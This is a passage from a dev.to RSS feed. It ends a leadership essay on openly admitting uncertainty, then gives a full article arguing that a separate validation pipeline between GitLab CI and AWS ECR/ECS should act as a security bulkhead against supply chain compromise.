&lt;p&gt;None of this has clean answers. The honest position is that most leaders — most people — don't know how these crises resolve, what the downstream business effects will be, or exactly what the right response is. Pretending otherwise doesn't help your team. It insults their intelligence.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Your team doesn't need you to have solved geopolitics. They need to know you're not pretending it isn't happening.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Crisis uncertainty → alternatives to false confidence
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Move&lt;/th&gt;
&lt;th&gt;What it looks like&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;01&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Name the uncertainty in planning&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Build explicit contingency into roadmaps. "This timeline assumes current conditions hold; here's our branch if they don't." Uncertainty acknowledged is uncertainty managed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Separate "I don't know" from "we're watching"&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Distinguish between things you're genuinely uncertain about and things you're actively monitoring. Give your team a sense of the signals you're tracking even when you can't give conclusions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;03&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Acknowledge impact without performing solutions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;When crises affect team members directly, you don't need a policy or a fix. Sometimes "I see this is real and I don't have the answers" is more valuable than a five-point plan.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Influence decisions above you with honest data&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;When the business is being steered by false certainty about external conditions, your job is to put accurate uncertainty on the table — even when that's unwelcome. Especially then.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Prioritise reversibility&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;When the environment is genuinely unpredictable, bias toward decisions that can be undone. Make "how reversible is this?" a standard question in planning when the context is volatile.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  The Second Half of the Sentence
&lt;/h2&gt;

&lt;p&gt;Across all three registers — your team, the technology, the world — the structure is the same. "I don't know" is never the complete sentence. It's always followed by momentum.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"I don't know — but here's how we're going to move anyway."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That pivot is everything. You're not outsourcing the problem or performing helplessness. You're modelling how a technically mature, psychologically honest person handles uncertainty: they acknowledge it, then they act on it. They find what they can know. They reduce the blast radius of what they can't. They keep moving.&lt;/p&gt;

&lt;p&gt;There's a kind of confidence that doesn't depend on having the answers. It's the confidence that comes from trusting your ability to navigate uncertainty — to find information, connect people, ask the right questions, and make reasonable calls under ambiguity. That's the confidence your team needs from you. Not omniscience. Not a human forecast engine.&lt;/p&gt;

&lt;p&gt;Just someone who can say "I don't know where we are" without panicking — and then get out the compass.&lt;/p&gt;




&lt;p&gt;The best leads I've worked with share one trait: they made it feel completely ordinary to not have an answer. And they made it equally obvious that not having one was never the end of the story. Just the beginning of figuring it out together.&lt;/p&gt;

&lt;p&gt;That combination — honesty first, momentum second — is what leading a team looks like when the world keeps changing faster than any of us can confidently predict. Which, as far as I can tell, is the world we're in now.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>leadership</category>
      <category>crisismode</category>
    </item>
    <item>
      <title>Your build pipeline is not your trust boundary</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Tue, 24 Mar 2026 16:27:07 +0000</pubDate>
      <link>https://dev.to/sebs/your-build-pipeline-is-not-your-trust-boundary-1bnn</link>
      <guid>https://dev.to/sebs/your-build-pipeline-is-not-your-trust-boundary-1bnn</guid>
      <description>&lt;p&gt;Some teams deploying software to AWS have two registries and think of them as a logistics detail. One holds what came out of CI. The other holds what goes into production. The relationship between those two things — the decision about what is allowed to cross from one into the other, and who makes that decision, and what happens when the answer is no — is not a logistics detail. It is a security architecture decision, and treating it as anything less is how production incidents happen.&lt;/p&gt;

&lt;p&gt;The bulkhead pattern is old. It comes from naval engineering, where ships are divided into watertight compartments so that flooding in one section does not sink the whole vessel. The insight is that you do not prevent damage by building a perfect hull. You prevent catastrophic loss by limiting how far damage can travel. Software engineers rediscovered this principle independently and applied it to distributed systems, microservices, and fault tolerance. It belongs equally in a deployment pipeline.&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem with a single registry
&lt;/h2&gt;

&lt;p&gt;When your CI pipeline pushes directly to the registry your ECS cluster pulls from, you have made a consequential choice that probably did not feel like a choice. You have decided that the build environment and the production environment share a trust boundary. Anything that can write to your CI pipeline — any engineer, any compromised dependency, any malformed Dockerfile, any branch that passes tests — can, directly or indirectly, place an artifact into the registry that production infrastructure will consume without further scrutiny.&lt;/p&gt;

&lt;p&gt;This is not a theoretical concern. Supply chain attacks against CI systems have become routine. A compromised build dependency installs a malicious binary during the build phase. The resulting image passes your existing image scan if the scanner's definitions are not current, or if the binary is not yet known to the scanner. The image gets tagged and pushed. On the next deploy, ECS pulls it and runs it in your production environment. At no point did anything behave unexpectedly from a pipeline perspective. Every light was green. That is the problem.&lt;/p&gt;

&lt;p&gt;The deeper issue is that a single-registry architecture conflates two fundamentally different questions. The first question is: did this build succeed? The second question is: is this artifact trustworthy enough to run in production? CI answers the first question. Only a deliberate validation gate — one that runs independently of the build environment, with different permissions and different tooling — can answer the second.&lt;/p&gt;

&lt;h2&gt;
  
  
  The structure of a bulkhead deployment
&lt;/h2&gt;

&lt;p&gt;The architecture worth building has four distinct zones, each with clearly scoped responsibilities and explicitly limited permissions between them.&lt;/p&gt;

&lt;p&gt;The first zone is your GitLab CI pipeline. Its job is to build. It runs your tests, compiles your code, assembles your container image, and pushes that image to the GitLab Container Registry. The GitLab registry in this architecture is intentionally treated as ephemeral and untrusted. It is a staging area. Images land there the way packages land on a loading dock: present, but not yet cleared for entry. CI runners have write access to the GitLab registry. They have no access to AWS whatsoever. Not to IAM, not to ECR, not to ECS. If your CI environment is compromised, the blast radius is bounded to the GitLab registry.&lt;/p&gt;

&lt;p&gt;The second zone is the deliver pipeline. This is the bulkhead. It is triggered — on a tag, on a merge to a protected branch, on whatever promotion event your organization has decided represents a release candidate — and its sole purpose is to evaluate whether an image from the GitLab registry is trustworthy enough to enter the AWS trust boundary. It pulls the image, runs validation: vulnerability scanning, signature verification, policy checks, SBOM attestation, whatever your threat model requires. If validation passes, it pushes the image to ECR and tags it with a provenance marker. If validation fails, it stops there. Nothing enters AWS. The deliver pipeline is the only principal in your entire system with write access to ECR.&lt;/p&gt;

&lt;p&gt;The third zone is ECR. In this architecture, ECR is not just a faster registry. It is a trust signal. The presence of an image in ECR means exactly one thing: the deliver pipeline evaluated it and cleared it. No image arrives in ECR through any other path. Your ECS tasks can therefore pull from ECR with confidence that the contents were not placed there by a CI runner, a developer with elevated credentials, or an automated process that bypassed validation. ECR's access policy reflects this: the deliver pipeline can write, ECS task roles can read, and nothing else has write access.&lt;/p&gt;

&lt;p&gt;The fourth zone is the deploy pipeline and ECS cluster. The deploy pipeline runs inside AWS, typically on a runner with an IAM role scoped to the specific ECS actions it needs. It reads from ECR, updates the task definition, and triggers a rolling deployment. It has no awareness of GitLab's registry. It does not cross back outside the AWS trust boundary for any artifact. The deployment is entirely self-contained within the environment it controls.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the boundary placement matters
&lt;/h2&gt;

&lt;p&gt;You could draw the bulkhead in a different place. You could run validation inside the CI pipeline, before the push to GitLab's registry, and use a single registry throughout. Many teams do this. It is better than no validation at all. But it is not a bulkhead. A bulkhead only works if the compartments it separates are genuinely isolated — if flooding one compartment cannot automatically flood the other. Validation that runs inside the same environment as the build is subject to all the same compromises as the build. A malicious package can interfere with test execution. A malicious script can tamper with scanner output. The environment in which validation runs cannot be the same environment that produced the artifact being validated, if you want the validation to mean anything.&lt;/p&gt;

&lt;p&gt;The deliver pipeline solves this because it runs in a clean context with no dependency on the build environment. It does not trust the image. It does not trust the metadata the build produced. It pulls the image, treats it as an opaque artifact of unknown provenance, and evaluates it from scratch. The only thing it takes on faith is that the image digest it pulls from the GitLab registry corresponds to what CI claims to have built — and even that can be addressed with build attestation and signed manifests if your threat model demands it.&lt;/p&gt;

&lt;p&gt;There is also an operational argument separate from the security argument. When validation and promotion are separated from build, you can change your validation requirements without touching your build configuration. You can introduce a new scanner, tighten a policy, or add a new required attestation by changing the deliver pipeline. CI keeps running the same way it always has. The operational surface of security changes shrinks considerably.&lt;/p&gt;

&lt;h2&gt;
  
  
  Permissions as documentation
&lt;/h2&gt;

&lt;p&gt;One of the most underappreciated properties of this architecture is what the permission model tells you. When you look at your IAM policies and your GitLab CI variable scopes, the structure of your trust boundaries is legible. GitLab runners have credentials that can push to the GitLab registry. They have nothing in AWS. The deliver pipeline has credentials to read from the GitLab registry and write to ECR. ECS task roles can read from ECR. The deploy pipeline can describe and update ECS services. Nothing has more than it needs. Nothing can reach across a zone boundary it has no business crossing.&lt;/p&gt;

&lt;p&gt;This matters because permissions-as-documentation is honest in a way that comments and runbooks are not. Runbooks say what is supposed to be true. IAM policies say what is actually true. When your access model is correctly scoped, reading it is equivalent to reading the architecture. When your access model has accumulated scope over time — when CI runners have ECR write access because someone needed to debug something once and never cleaned it up — the permissions tell you that the architecture has quietly collapsed. The bulkhead no longer holds because the compartments are no longer sealed.&lt;/p&gt;

&lt;p&gt;Keeping the permission model clean is not just security hygiene. It is architectural discipline. Every time you are tempted to give a component access to something outside its designated zone — to let CI push directly to ECR "just this once," to give the deploy pipeline GitLab credentials "because it's easier" — you are being asked to trade architectural clarity for convenience. The answer should almost always be no.&lt;/p&gt;

&lt;h2&gt;
  
  
  The cost
&lt;/h2&gt;

&lt;p&gt;This architecture is not free. You have a third pipeline to maintain, with its own failure modes and operational requirements. The deliver pipeline becomes a single point of failure in your promotion path: if it is broken, no image reaches production regardless of how healthy your build and deploy pipelines are. You need to monitor it, alert on it, and be capable of diagnosing failures in it quickly.&lt;/p&gt;

&lt;p&gt;The deliver pipeline also adds latency to your release cycle. Validation takes time. Scans take time. If your threat model requires extensive policy evaluation, the gap between a successful build and a deployable artifact may be measured in minutes rather than seconds. This is usually acceptable, but it is a real tradeoff that your organization needs to make consciously rather than discover in the middle of an incident.&lt;/p&gt;

&lt;p&gt;The answer to both of these costs is not to eliminate the bulkhead. It is to treat the deliver pipeline with the same engineering seriousness as the rest of your infrastructure. It deserves good observability, clear failure messages, documented recovery procedures, and regular testing. A security boundary that cannot be maintained is not actually a security boundary.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this is not
&lt;/h2&gt;

&lt;p&gt;A bulkhead is not a substitute for secure coding practices. An image that passes every validation check you have defined can still contain application-level vulnerabilities. The bulkhead protects you against supply chain compromise in the build environment and enforces a consistent set of standards on every artifact that reaches production. It does not protect you against vulnerabilities you have not checked for or logic errors in your application code.&lt;/p&gt;

&lt;p&gt;A bulkhead is also not a guarantee of immutability. An image that passes validation today may have a vulnerability discovered tomorrow. Your ECR should be configured with immutable tags so that an existing image digest cannot be overwritten, and you should have a process for responding to newly discovered vulnerabilities in images that are already in production. The bulkhead tells you about the state of an artifact at the moment it crossed the boundary. Keeping that assessment current over time is a different problem, requiring different tooling.&lt;/p&gt;

&lt;p&gt;What a bulkhead is, at its most fundamental, is a decision about what it means to trust an artifact. Defining that decision explicitly, embodying it in a pipeline stage with clear inputs and clear outputs, and enforcing it as the mandatory path between your build environment and your production environment — that is the entire value of the pattern. The implementation details matter less than the clarity of the decision. Before you build anything, you should be able to answer: what does it mean for an image to be trustworthy? Who decides? What happens when the answer is no? If those questions have clear answers, you have an architecture. If they do not, you have a pipeline.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>bulkhead</category>
      <category>wellarchitected</category>
      <category>aws</category>
    </item>
  </channel>
</rss>
